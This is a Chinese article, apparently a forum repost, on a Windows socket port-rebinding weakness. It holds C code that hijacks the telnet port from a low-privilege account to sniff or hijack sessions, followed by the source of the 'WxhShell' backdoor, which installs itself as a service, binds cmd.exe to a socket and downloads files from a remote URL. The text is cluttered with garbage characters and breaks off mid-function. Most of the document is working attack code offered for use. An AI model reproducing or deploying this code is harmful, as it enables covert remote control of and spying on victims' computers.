在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|.W;vc < s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
z3LPR:&Z ="E
V@H?U saddr.sin_family = AF_INET;
(ZsR=:9( HKw4}FC* saddr.sin_addr.s_addr = htonl(INADDR_ANY);
a$&6a
o:*iT=l bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ixpG[8s mSeNM 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'~a$f;: Dv 2 ZXF_ o 这意味着什么?意味着可以进行如下的攻击:
h%e!f# BBj"}~da 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
C{^@. 8: rJj~cPwL" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
z5w|+9U .q }k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
>xgd<
p$ v +L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,KaWP EOC"a}Cq- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T+!kRigN~P ?!-im*~w 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wB"Gw` D 5(Oc"0''H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
FQl|<l6 AW68'G*m #include
essW,2,rjC #include
;Bi{;>3 #include
?Qk#;~\yB #include
)CQ}LbX Zy DWORD WINAPI ClientThread(LPVOID lpParam);
3Re\ T int main()
Ev#aMK {
(DAJ(r~ WORD wVersionRequested;
5)6%D DWORD ret;
[hbIv WSADATA wsaData;
pQ8+T|0x BOOL val;
GrC")Z|3u SOCKADDR_IN saddr;
7C^ nk
z SOCKADDR_IN scaddr;
OSk9Eb4ld int err;
h (2k;M^s SOCKET s;
gp2)35 SOCKET sc;
{*Pp^r int caddsize;
![%,pip2/& HANDLE mt;
b"9,DQB=i DWORD tid;
'Gk|&^ wVersionRequested = MAKEWORD( 2, 2 );
g0l- n err = WSAStartup( wVersionRequested, &wsaData );
9;PtYdJ8 if ( err != 0 ) {
xRfX:3 printf("error!WSAStartup failed!\n");
PF.HYtZqK return -1;
"ggq7cJ}_ }
V|7 cdX#H saddr.sin_family = AF_INET;
yxH[uJpb :z[SI{Y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
w^~,M3(+)1 =6Z1yw7s saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[lf[J&}X saddr.sin_port = htons(23);
m\(a{x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w"~T5%p {
hYLu printf("error!socket failed!\n");
'
{Q L`L return -1;
!59q@Mya[ }
0:XmReO+k val = TRUE;
,-):&V:jF //SO_REUSEADDR选项就是可以实现端口重绑定的
u URf if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Pu=YQ
#F' {
J? C"be= printf("error!setsockopt failed!\n");
:0J;^@ return -1;
F
J)la9 }
dQ<EDtap //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
u!O)\m- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
, vWcWT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
c5JxKU_ MD +Q_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#}.db?[Rv {
i9d.Ls ret=GetLastError();
K#>B'>A\ printf("error!bind failed!\n");
gD-<^Q- return -1;
xu3qX" }
Ra/S46$ listen(s,2);
hUqIjc uL4 while(1)
:>|[ o&L {
).\%a
h caddsize = sizeof(scaddr);
`,J\E<4J //接受连接请求
L9T|* ?|| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_s^sZ{'2_ if(sc!=INVALID_SOCKET)
'h$1vT {
T5ol2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:p89J\ if(mt==NULL)
_f/6bpv {
biQDupTz printf("Thread Creat Failed!\n");
D_g+O"];P break;
]`LMyt0 }
-{^Gzui }
vForj*Xo CloseHandle(mt);
T{Av[>M }
8/k*"^3 closesocket(s);
F8q|$[nH WSACleanup();
XOU
9r( return 0;
4h-tR }
{D$+~lO DWORD WINAPI ClientThread(LPVOID lpParam)
8RB\P:6h {
Bx)4BPaN SOCKET ss = (SOCKET)lpParam;
opd^|xx0 SOCKET sc;
?e0ljx; unsigned char buf[4096];
3= PRe SOCKADDR_IN saddr;
H8X{!/,^ long num;
+ps(9O/B> DWORD val;
J%{>I DWORD ret;
/@:I\&{f'9 //如果是隐藏端口应用的话,可以在此处加一些判断
[&51m^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m)V%l0 saddr.sin_family = AF_INET;
^I7iEv saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
arm26YA-, saddr.sin_port = htons(23);
X-=49) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fTMn {
EW]rD printf("error!socket failed!\n");
#V@[<S2 return -1;
4PR!OB }
Lc=t,=OhGe val = 100;
m;'ebkq if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w=,bF$:fIW {
S/V%<<[>p] ret = GetLastError();
1GE[*$vuq return -1;
=XVw{\#9 b }
+JsMYv if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bZLY#g7L" {
-a !?% ret = GetLastError();
y2cYRHN[X} return -1;
!#3v<_]#d }
*jM]:GpyoU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
G8}k9?26( {
jBb:) printf("error!socket connect failed!\n");
A{MMY{K3 closesocket(sc);
z#m ~} closesocket(ss);
wt]onve}% return -1;
Z):q 1:y }
~6DaM! while(1)
&sJ -&7YZ {
\8g'v@$wG //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
VX0}x+LJ //如果是嗅探内容的话,可以再此处进行内容分析和记录
L xP%o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Y'*oW+K num = recv(ss,buf,4096,0);
&.F]-1RN[ if(num>0)
f}=>c|Do send(sc,buf,num,0);
H}?"2jF else if(num==0)
id+ ~ V break;
?k@^U9?R num = recv(sc,buf,4096,0);
Qco8m4n if(num>0)
F$M^}vsjGx send(ss,buf,num,0);
pLSh
+*F else if(num==0)
FJCs$0 break;
7H.3.j(L }
|sd G<+ closesocket(ss);
hC[=e`j closesocket(sc);
1w~PHH`~ return 0 ;
!wN2BCSY@ }
`Fie'[F5,) `JO>g=,4 DQ(0:r ==========================================================
7Xx3s@ n]df)a 下边附上一个代码,,WXhSHELL
"iTjiH)Q( <8(=Lv`)q ==========================================================
4GbfA
.u
Y?TS, #include "stdafx.h"
@Ddz|4 vEi "4\k1H"_ #include <stdio.h>
EsGf+-}|!0 #include <string.h>
6R,Y.srR #include <windows.h>
( +Sv3h #include <winsock2.h>
KCO.8=y3 #include <winsvc.h>
D(l,Z #include <urlmon.h>
6@TU9AZS` A|GtF3:G #pragma comment (lib, "Ws2_32.lib")
]!ox2m_U #pragma comment (lib, "urlmon.lib")
VwpC UW n&Ckfo_D #define MAX_USER 100 // 最大客户端连接数
f`:GjA,J$ #define BUF_SOCK 200 // sock buffer
- w*fS,O #define KEY_BUFF 255 // 输入 buffer
U$mDAi$ hw,nA2w\ #define REBOOT 0 // 重启
Vm|KL3}NRv #define SHUTDOWN 1 // 关机
G<M0KU( hs[x\:})/ #define DEF_PORT 5000 // 监听端口
UAPd["`)y Lo3N)~5 #define REG_LEN 16 // 注册表键长度
:h5G|^
#define SVC_LEN 80 // NT服务名长度
$m;`O_-T y{/7z}d // 从dll定义API
0KnL{Cj typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M^[;{p2uZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_tJt
eDRY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
] L97k(:Ib typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
hH 5}%/vF TKM^ // wxhshell配置信息
%ggf|\-e struct WSCFG {
P&sWn?q Ol int ws_port; // 监听端口
)w0x{_ char ws_passstr[REG_LEN]; // 口令
+!0K]$VZs int ws_autoins; // 安装标记, 1=yes 0=no
0S^&A?$= char ws_regname[REG_LEN]; // 注册表键名
qmFG char ws_svcname[REG_LEN]; // 服务名
kL%ot<rt)w char ws_svcdisp[SVC_LEN]; // 服务显示名
@Wc5r# char ws_svcdesc[SVC_LEN]; // 服务描述信息
.6P.r} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
YZ5,K6u int ws_downexe; // 下载执行标记, 1=yes 0=no
`mzlOB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M2Jf-2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g35!a<JW
Vf;&z$D{r };
ka~_iUU4 0K[]UU=P= // default Wxhshell configuration
BbI%tmA7 struct WSCFG wscfg={DEF_PORT,
b%0p<*:a/ "xuhuanlingzhe",
2uOYuM[7gH 1,
(oi:lC@h* "Wxhshell",
h{gFqkDoTI "Wxhshell",
\rFS^# "WxhShell Service",
Ww,\s5Uw "Wrsky Windows CmdShell Service",
}9+;-*m/ "Please Input Your Password: ",
uR ?W|a 1,
j@>D]j "
http://www.wrsky.com/wxhshell.exe",
q0NFz mG "Wxhshell.exe"
W}f)VC;D };
nd]SI;< (da`aRVDp // 消息定义模块
=SXdO)%2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F%h3?"s char *msg_ws_prompt="\n\r? for help\n\r#>";
8@;]@c)m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
RNi%6A1 char *msg_ws_ext="\n\rExit.";
\IE![=p\w char *msg_ws_end="\n\rQuit.";
HohCb4do char *msg_ws_boot="\n\rReboot...";
rS{}[$Zpl char *msg_ws_poff="\n\rShutdown...";
pR$(V4> char *msg_ws_down="\n\rSave to ";
D`T;j[SsS# !BsQJ_H char *msg_ws_err="\n\rErr!";
~Jk&!IE2 char *msg_ws_ok="\n\rOK!";
,B[j{sE 7q+D}+ Xf char ExeFile[MAX_PATH];
iM@$uD$_Q2 int nUser = 0;
q#tUDxf(| HANDLE handles[MAX_USER];
5p (zhfuG int OsIsNt;
_K o#36.S V4+|D2 SERVICE_STATUS serviceStatus;
#RBrii-, SERVICE_STATUS_HANDLE hServiceStatusHandle;
v>_@D@pr }T@=I&g; // 函数声明
&eHRn_st5b int Install(void);
H)Btm int Uninstall(void);
E`.xu>Yyj int DownloadFile(char *sURL, SOCKET wsh);
s*k)h,\ int Boot(int flag);
j6GIB_ void HideProc(void);
a_RY Yj int GetOsVer(void);
riDb!oC int Wxhshell(SOCKET wsl);
17 Ugz? void TalkWithClient(void *cs);
wXKtQ#o} int CmdShell(SOCKET sock);
hq
3n&/ int StartFromService(void);
Nap[=[rv int StartWxhshell(LPSTR lpCmdLine);
=6u@JpOl `}EnY@*h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
krUtOVI VOID WINAPI NTServiceHandler( DWORD fdwControl );
Vh^y6U< ^ Oh // 数据结构和表定义
k7^hcth SERVICE_TABLE_ENTRY DispatchTable[] =
*%Rmdyn {
P.y +jyu {wscfg.ws_svcname, NTServiceMain},
AJ\&>6GZ(b {NULL, NULL}
zmo2uUEd };
i"h\*B= %T({;/ // 自我安装
Sc7 Ftb% int Install(void)
4j={ 9e< {
V4[-:k char svExeFile[MAX_PATH];
!Y ,7% HKEY key;
AS7L strcpy(svExeFile,ExeFile);
Az&>.* \N9=13W<lK // 如果是win9x系统,修改注册表设为自启动
P_(8+)ud- if(!OsIsNt) {
q&25,zWD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X'`n>1z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=Hg!@5]H RegCloseKey(key);
mtmC,jnD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wZ(1\
M( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#EH=tJgO|J RegCloseKey(key);
w:5?ofC return 0;
|V a:*3u }
#AJW-+1g.= }
g-eJan&]N }
csy6_q( else {
danPy2 \Y4(+t=4 // 如果是NT以上系统,安装为系统服务
]3LLlXtK[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
wlXs/\es if (schSCManager!=0)
L/i'6(=" {
ciblj?"Wi SC_HANDLE schService = CreateService
=A'>1N (
Fi i(dmn schSCManager,
0t7N yKU wscfg.ws_svcname,
c,a8#Og wscfg.ws_svcdisp,
^B<-.(F SERVICE_ALL_ACCESS,
zG9FO/@av SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
JWNN5#=fQ SERVICE_AUTO_START,
dla_uXtM6 SERVICE_ERROR_NORMAL,
YK/? mj1x svExeFile,
),x0G*oebj NULL,
[U&k"s? NULL,
pr<u
5 NULL,
jr`swyg NULL,
&]TniQH NULL
So ziFI );
HZ9 >4G3 if (schService!=0)
hkPMu@BI {
y4kn2Mw; CloseServiceHandle(schService);
TCp9C1Q4 CloseServiceHandle(schSCManager);
/nO_e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
uuM1_nD[ strcat(svExeFile,wscfg.ws_svcname);
-b!?9T?} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<WUgH6" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
f&vMv. RegCloseKey(key);
e)}E&D;${ return 0;
[A~?V.G }
#._JB-,' }
_WS8I> CloseServiceHandle(schSCManager);
q]4h#?.-1v }
XJo.^<m }
KpGx<+0p ;-3&yQ7N) return 1;
X5o*8Bg4M }
G8}owszT - +a,Ej // 自我卸载
iQO4IT int Uninstall(void)
"~VKUvDu {
T={!/y+ HKEY key;
k~)CJ6} !60U^\ if(!OsIsNt) {
ndFVP;q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"M:ui0YP RegDeleteValue(key,wscfg.ws_regname);
\`y:#N<c RegCloseKey(key);
N8nt2r<h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UlWmf{1%]? RegDeleteValue(key,wscfg.ws_regname);
>,,`7%Rv RegCloseKey(key);
Ar)EbGId return 0;
|Ua);B ~F }
_)j\
b }
JL
{H3r&/S }
:i{M1z I else {
|OLXb+7X ;=joQWNDm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!Ge;f/@ if (schSCManager!=0)
S:{xx`6K {
4V9BmVS|Th SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;8<HB1 &, if (schService!=0)
oLkzLJ {
g{Av
=66Z if(DeleteService(schService)!=0) {
ASdW!4.p CloseServiceHandle(schService);
=R:O`qdC4e CloseServiceHandle(schSCManager);
>,Y+ 1 return 0;
>K'dgJ245 }
uG -+&MU? CloseServiceHandle(schService);
'9QEG/v }
%e[E@H 7 CloseServiceHandle(schSCManager);
#|T"6jJaQ }
t;+b*S6D }
j3&q?1 "$N$:B @U return 1;
jOCV)V9} }
yMdu
Zmkc dA~_[x:Z // 从指定url下载文件
u"zR_CzYc int DownloadFile(char *sURL, SOCKET wsh)
%KVmpWku {
Rk5#5R n HRESULT hr;
-0 xo6'mD char seps[]= "/";
Zb_A(mnzh char *token;
2c]751 char *file;
RL&0?OT char myURL[MAX_PATH];
~0+<-T char myFILE[MAX_PATH];
zf8SpQ2~ CA|l|
t^ strcpy(myURL,sURL);
u3Z]!l token=strtok(myURL,seps);
[f:&aS+ while(token!=NULL)
~rb]u
Ny- {
R1SFMI
file=token;
n;Mk\*Cg token=strtok(NULL,seps);
4"|3pMr }
T}{zh y_>DszRN`u GetCurrentDirectory(MAX_PATH,myFILE);
$hc=H strcat(myFILE, "\\");
&bq1n_ strcat(myFILE, file);
2ih}?%H8 send(wsh,myFILE,strlen(myFILE),0);
Syseiw send(wsh,"...",3,0);
_8 r'R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
q{V e%8$" if(hr==S_OK)
/t`|3Mw return 0;
e<uf)K=(C else
9_==C"F return 1;
;HAvor=? i`52tH y_ }
`oe=K{aX //N="9)@ // 系统电源模块
YFu>`w^Y int Boot(int flag)
]gX8z#*k {
3~R,)fO; HANDLE hToken;
/$clk= TOKEN_PRIVILEGES tkp;
:' 5J[]J #qk=R7"Q if(OsIsNt) {
/":/DwI' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
dn}EM7:Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tBkgn3w tkp.PrivilegeCount = 1;
EZ>(} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0t7)x8c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(`slC~" if(flag==REBOOT) {
=RXeN+
&R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6|'7Mr~\ return 0;
;o)'dK }
s]e`q4ip else {
}fk3a9j9u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
T}z? i return 0;
x] `F#5j }
>&fD:y'& }
Kg~D~
+j else {
!YpH\wUyvP if(flag==REBOOT) {
8&HBR # if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;F-
mt( Y return 0;
IR]5,K^l }
dh%O {t else {
@f"[*7Q`/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
FO(QsR=\s return 0;
%5+X }
y|+5R5}K }
&HLG<ISw Y=|20Y\K return 1;
2%fzRXhu% }
~tTn7[! sqpo5~ // win9x进程隐藏模块
SMHQh.O?5 void HideProc(void)
&jF[f4:7 {
' "o2;J)7 x/?w1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q>dERN& if ( hKernel != NULL )
I- WR6s= {
m)xz_Plc pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!;&{Q^} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
MZ<BCRB FreeLibrary(hKernel);
5[rA>g~ }
qa/VSk!{ *> 7Zc return;
C,dRdEB> }
@t,Y<)U ?~rz'Pu~ // 获取操作系统版本
LhtA]z,m int GetOsVer(void)
G\H |\i {
K]Z];C#) OSVERSIONINFO winfo;
MVe4[< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\yA*)X+ GetVersionEx(&winfo);
SQI =D8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{'q(a4 return 1;
2@$`xPg
else
r[kmgPld return 0;
3rVWehCv }
kntn9G _{0IX // 客户端句柄模块
%9`\7h7K int Wxhshell(SOCKET wsl)
"5$2b>_UE {
[!>DQE SOCKET wsh;
;cW9NS3: struct sockaddr_in client;
q-d#bKIf DWORD myID;
{s~t>R p+ FK`M+ j while(nUser<MAX_USER)
S1d{! ` 3 {
,
Y cF~ int nSize=sizeof(client);
FKkL%:? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{{e+t8J?? if(wsh==INVALID_SOCKET) return 1;
?H(']3X5@ =sh]H$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?89_2W if(handles[nUser]==0)
:P20g]( closesocket(wsh);
mu&%ph= else
0z=^_Fb nUser++;
'645Fr[lg }
LP5@ID2G WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Xe:e./@ hGlRf_{ return 0;
{t QZqqdn@ }
oh^QW`#( 5SwQ9# // 关闭 socket
DeRC_ [ void CloseIt(SOCKET wsh)
XiN@$ {
_6{XqvWqb closesocket(wsh);
{x/)S*:Z nUser--;
=9cN{&qf ExitThread(0);
.
I#dR* }
dpI! {'"M SW*Yu{ // 客户端请求句柄
}Jk=ZBVjT7 void TalkWithClient(void *cs)
{N 0i
3e
s {
Vh5Z'4N 2f7]=snCG SOCKET wsh=(SOCKET)cs;
zUd{9B$ char pwd[SVC_LEN];
zFeo8S char cmd[KEY_BUFF];
/WJ+e char chr[1];
W)m\q}]FYz int i,j;
-4nSiI J:Ncy}AO while (nUser < MAX_USER) {
s2iL5N|"Q "o>gX'm* if(wscfg.ws_passstr) {
56^#x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b;Uqyc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$VyH2+ jC //ZeroMemory(pwd,KEY_BUFF);
'AJlkLqm#> i=0;
.z&,d&E while(i<SVC_LEN) {
<B3$ODGJp xE%sPWbj // 设置超时
)NL_))\ fd_set FdRead;
29AWg(9?aS struct timeval TimeOut;
LKe~ FD_ZERO(&FdRead);
t{RdqAF FD_SET(wsh,&FdRead);
N2Q%/}+, TimeOut.tv_sec=8;
|sklY0?l( TimeOut.tv_usec=0;
sj\kp
ni int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)-_To&S* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$kCLS7 * [nG@
3n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9a lMC pwd
=chr[0]; ;Zow C#j
if(chr[0]==0xd || chr[0]==0xa) { f<v:Tg.[
pwd=0; J}3 7 9
break; eIY![..J/N
} 3lD1G~
i++; |\_d^U&`
} fPu,@
L
8^|lsB}x?
// 如果是非法用户,关闭 socket Y<EdFzle
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 76r RF
} mj9r#v3.
NoG`J$D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <m!(eLm+B
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -P7JaH/Q
25CO_
while(1) { F9 q9BH
F1UTj"<e
ZeroMemory(cmd,KEY_BUFF); ;^Hg\a
&$+nuUA
// 自动支持客户端 telnet标准 dE0p>4F
j=0; Vv3{jn6%
while(j<KEY_BUFF) { + U];
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Wp5Ane
cmd[j]=chr[0]; $MB/j6#j
if(chr[0]==0xa || chr[0]==0xd) { /agX! E4s
cmd[j]=0; l!^+Xeg~
break; /!L#cUog
} !Al?B9KJ
j++; d0MF\yxh
} kz+OUA@~
;&v~tD7
// 下载文件 ri?>@i-9=
if(strstr(cmd,"http://")) { uy^vQ/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "ZU CYYre
if(DownloadFile(cmd,wsh)) _yJAn\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <qpDAz4k
else ap[{`u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j9G1
_
} a2tRmil
else { E |BE(F;K
NHjZ`=Js
switch(cmd[0]) { C/L+gU&
7xr@$-U
// 帮助 w;Jby
case '?': { Y4.t :Uzr
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zPKx: I3
break; }g\1JSJ%H
} drc]"6 k
// 安装 7-u['nFJ
case 'i': { q!+&|F
if(Install()) _K5R?"H0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C+=8?u<
else S"wn0B$"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .3JLa8y
break; t'pY~a9F
} ]&mN~$+C
// 卸载 4Y#F"+m.]
case 'r': { '**dD2
n
if(Uninstall()) .3QX*]{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QFS5PZ
else d|RqS`h
]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [)E.T,fjMQ
break; CMI V"-
} Sb;=YW
1<
// 显示 wxhshell 所在路径 8r46Wr7Q
case 'p': { 71GyMtX
char svExeFile[MAX_PATH]; #-*#? -
strcpy(svExeFile,"\n\r"); 0~:Eo89
strcat(svExeFile,ExeFile); Z:2a_Atm
send(wsh,svExeFile,strlen(svExeFile),0); HpX ;:/I
break; ;I^+u0ga
} Gec?
// 重启 ^[]@dk9
case 'b': { ~dFdO7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
!8V
if(Boot(REBOOT)) yK3b^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6|-V{
else { L~PBD?l
closesocket(wsh); j~Cch%%G
ExitThread(0); <HC5YA)4
} w#!^wN
break; zcn/LF
} 1"4Pan
// 关机 -J<{NF
case 'd': { ev}ugRxt|k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (WISf}[l;
if(Boot(SHUTDOWN)) z9B""ws
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bkvm-$/
else { ^-&BGQM
closesocket(wsh); PS=N]e7k'
ExitThread(0); &Oih#I
} VoTnm
break; bz1+AJG
} kU
{>hG4
// 获取shell 5@kNvi
case 's': { yDil
CmdShell(wsh); d}Y\;'2,
closesocket(wsh); aGR!T{`
ExitThread(0); "nzQ$E>?$
break; &I|\AG"X}
} 'wg>=|Q5
// 退出 "^UJC-
case 'x': { FZ0wtS2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +p
Y*BP+~i
CloseIt(wsh); |*T3TsP u
break; ~g|Z6-?4Jj
} oieJ7\h]m
// 离开 3;hztCZj
case 'q': { hN5?u:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m 3Y@p$i5
closesocket(wsh); fQkfU;5
WSACleanup(); Lxg,BZV
exit(1); '=Z]mi/aw
break; -*<4 hFb
} T|%pvTIe
} [@&0@/s*t'
} U_8 Z&
fVXZfq6
// 提示信息 6`
8H k;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bl8EzO
} /~O>He
} j^Vr!y
@X?7a]+;8
return; 3hi0
} DT Cwf
\{8?HjJEM
// shell模块句柄 %wDE+&M
int CmdShell(SOCKET sock) >STAPrBp+
{ zarxv|
}$
STARTUPINFO si; BWWO=N
ZeroMemory(&si,sizeof(si)); P5K=S.g
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +}.~"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L/Ytk ag
PROCESS_INFORMATION ProcessInfo; WCdl 25L#
char cmdline[]="cmd"; o
_G,Ph!7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (qbL=R"
return 0; !<8-juY
} T@ 4R|P&{)
_&wrA3@/L
// 自身启动模式 Z"pCDW)
int StartFromService(void) [B,w\PLub
{ l+vD`aJ 3
typedef struct x* 9 Xu"?
{ J\@W+/#dF
DWORD ExitStatus; !2o1c
DWORD PebBaseAddress; [qL{w&R
DWORD AffinityMask; ~Oc:b>~
DWORD BasePriority; b4R;#rm
ULONG UniqueProcessId; 3OlXi9>3
